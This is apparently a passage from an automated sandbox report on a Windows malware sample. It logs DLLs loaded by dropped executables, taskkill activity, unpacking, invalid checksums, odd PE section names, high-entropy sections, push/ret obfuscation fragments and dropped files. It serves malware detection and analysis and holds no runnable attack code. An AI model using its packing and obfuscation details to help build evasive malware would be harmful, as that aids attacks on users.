Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Section loaded: winrnr.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 3279872 > 1048576
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: file.exe Static PE information: Raw size of cmuiqwlw is bigger than: 0x100000 < 0x2b4e00

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.f40000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 2.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 3.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 6.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Unpacked PE file: 12.2.f30149f036.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;klrfnhju:EW;auusyycz:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Unpacked PE file: 14.2.f570600774.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Unpacked PE file: 30.2.f570600774.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[2].exe0.6.dr Static PE information: real checksum: 0x2b7847 should be: 0x2b1ae4
Source: random[1].exe1.6.dr Static PE information: real checksum: 0x1c7b9b should be: 0x1ca114
Source: random[1].exe2.6.dr Static PE information: real checksum: 0x1c71df should be: 0x1cf3a9
Source: 536e42fc8b.exe.6.dr Static PE information: real checksum: 0x2b7847 should be: 0x2b1ae4
Source: f570600774.exe.6.dr Static PE information: real checksum: 0x1c71df should be: 0x1cf3a9
Source: f30149f036.exe.6.dr Static PE information: real checksum: 0x1ec068 should be: 0x1e7575
Source: file.exe Static PE information: real checksum: 0x3297fd should be: 0x320c9d
Source: skotes.exe.0.dr Static PE information: real checksum: 0x3297fd should be: 0x320c9d
Source: 176986cc9c.exe.6.dr Static PE information: real checksum: 0x1c7b9b should be: 0x1ca114
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x1ec068 should be: 0x1e7575
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: cmuiqwlw
Source: file.exe Static PE information: section name: afwwhgey
Source: file.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name: cmuiqwlw
Source: skotes.exe.0.dr Static PE information: section name: afwwhgey
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: .idata
Source: random[1].exe0.6.dr Static PE information: section name:
Source: random[1].exe0.6.dr Static PE information: section name: klrfnhju
Source: random[1].exe0.6.dr Static PE information: section name: auusyycz
Source: random[1].exe0.6.dr Static PE information: section name: .taggant
Source: f30149f036.exe.6.dr Static PE information: section name:
Source: f30149f036.exe.6.dr Static PE information: section name: .idata
Source: f30149f036.exe.6.dr Static PE information: section name:
Source: f30149f036.exe.6.dr Static PE information: section name: klrfnhju
Source: f30149f036.exe.6.dr Static PE information: section name: auusyycz
Source: f30149f036.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: .idata
Source: random[1].exe1.6.dr Static PE information: section name:
Source: random[1].exe1.6.dr Static PE information: section name: hkjfghfg
Source: random[1].exe1.6.dr Static PE information: section name: gtwwivgb
Source: random[1].exe1.6.dr Static PE information: section name: .taggant
Source: 176986cc9c.exe.6.dr Static PE information: section name:
Source: 176986cc9c.exe.6.dr Static PE information: section name: .idata
Source: 176986cc9c.exe.6.dr Static PE information: section name:
Source: 176986cc9c.exe.6.dr Static PE information: section name: hkjfghfg
Source: 176986cc9c.exe.6.dr Static PE information: section name: gtwwivgb
Source: 176986cc9c.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe2.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name: .idata
Source: random[1].exe2.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name: jkfvjajp
Source: random[1].exe2.6.dr Static PE information: section name: yofpcxnn
Source: random[1].exe2.6.dr Static PE information: section name: .taggant
Source: f570600774.exe.6.dr Static PE information: section name:
Source: f570600774.exe.6.dr Static PE information: section name: .idata
Source: f570600774.exe.6.dr Static PE information: section name:
Source: f570600774.exe.6.dr Static PE information: section name: jkfvjajp
Source: f570600774.exe.6.dr Static PE information: section name: yofpcxnn
Source: f570600774.exe.6.dr Static PE information: section name: .taggant
Source: random[2].exe0.6.dr Static PE information: section name:
Source: random[2].exe0.6.dr Static PE information: section name: .idata
Source: random[2].exe0.6.dr Static PE information: section name: ixnajgom
Source: random[2].exe0.6.dr Static PE information: section name: seyuqqyf
Source: random[2].exe0.6.dr Static PE information: section name: .taggant
Source: 536e42fc8b.exe.6.dr Static PE information: section name:
Source: 536e42fc8b.exe.6.dr Static PE information: section name: .idata
Source: 536e42fc8b.exe.6.dr Static PE information: section name: ixnajgom
Source: 536e42fc8b.exe.6.dr Static PE information: section name: seyuqqyf
Source: 536e42fc8b.exe.6.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push edx; mov dword ptr [esp], 3C7FA057h 0_2_01058241
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push edx; mov dword ptr [esp], ebx 0_2_010582A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push 6F019901h; mov dword ptr [esp], eax 0_2_010582BD
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push 77CD12F3h; mov dword ptr [esp], esp 0_2_01058324
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push edi; mov dword ptr [esp], ebp 0_2_01058357
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push 592DEB81h; mov dword ptr [esp], eax 0_2_01058397
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_01058101 push ecx; mov dword ptr [esp], 5617CF5Ch 0_2_01058467
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F5D91C push ecx; ret 0_2_00F5D92F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F51359 push es; ret 0_2_00F5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00BED91C push ecx; ret 2_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 3_2_00BED91C push ecx; ret 3_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C151E8 pushad ; ret 6_2_00C151F2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C15297 pushad ; ret 6_2_00C1529B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C152B5 pushad ; ret 6_2_00C152BE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C154D5 pushad ; ret 6_2_00C154D9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C15455 pushad ; ret 6_2_00C15459
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C1545C pushad ; ret 6_2_00C15466
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C15471 pushad ; ret 6_2_00C15475
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C155C6 pushad ; ret 6_2_00C155CA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C155D9 pushad ; ret 6_2_00C155DD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C15532 pushad ; ret 6_2_00C1553C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C1563A pushad ; ret 6_2_00C1563E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00BED91C push ecx; ret 6_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C0992F pushad ; ret 6_2_00C09931
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00BEDFC6 push ecx; ret 6_2_00BEDFD9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0022DB9A push ecx; ret 8_2_0022DBAD
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_0022DB9A push ecx; ret 10_2_0022DBAD
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_00446061 push edx; retf 11_2_00446062
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh 11_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_00445A2E push esi; ret 11_2_00445A31
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_00442543 push esp; retf 11_2_00442549
Source: file.exe Static PE information: section name: entropy: 7.053445284969334
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.053445284969334
Source: random[1].exe0.6.dr Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: f30149f036.exe.6.dr Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: random[1].exe1.6.dr Static PE information: section name: entropy: 7.974526844691932
Source: random[1].exe1.6.dr Static PE information: section name: hkjfghfg entropy: 7.952823803062777
Source: 176986cc9c.exe.6.dr Static PE information: section name: entropy: 7.974526844691932
Source: 176986cc9c.exe.6.dr Static PE information: section name: hkjfghfg entropy: 7.952823803062777
Source: random[1].exe2.6.dr Static PE information: section name: jkfvjajp entropy: 7.954470397724028
Source: f570600774.exe.6.dr Static PE information: section name: jkfvjajp entropy: 7.954470397724028
Source: random[2].exe0.6.dr Static PE information: section name: entropy: 7.7971598601852055
Source: 536e42fc8b.exe.6.dr Static PE information: section name: entropy: 7.7971598601852055
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe Jump to dropped file
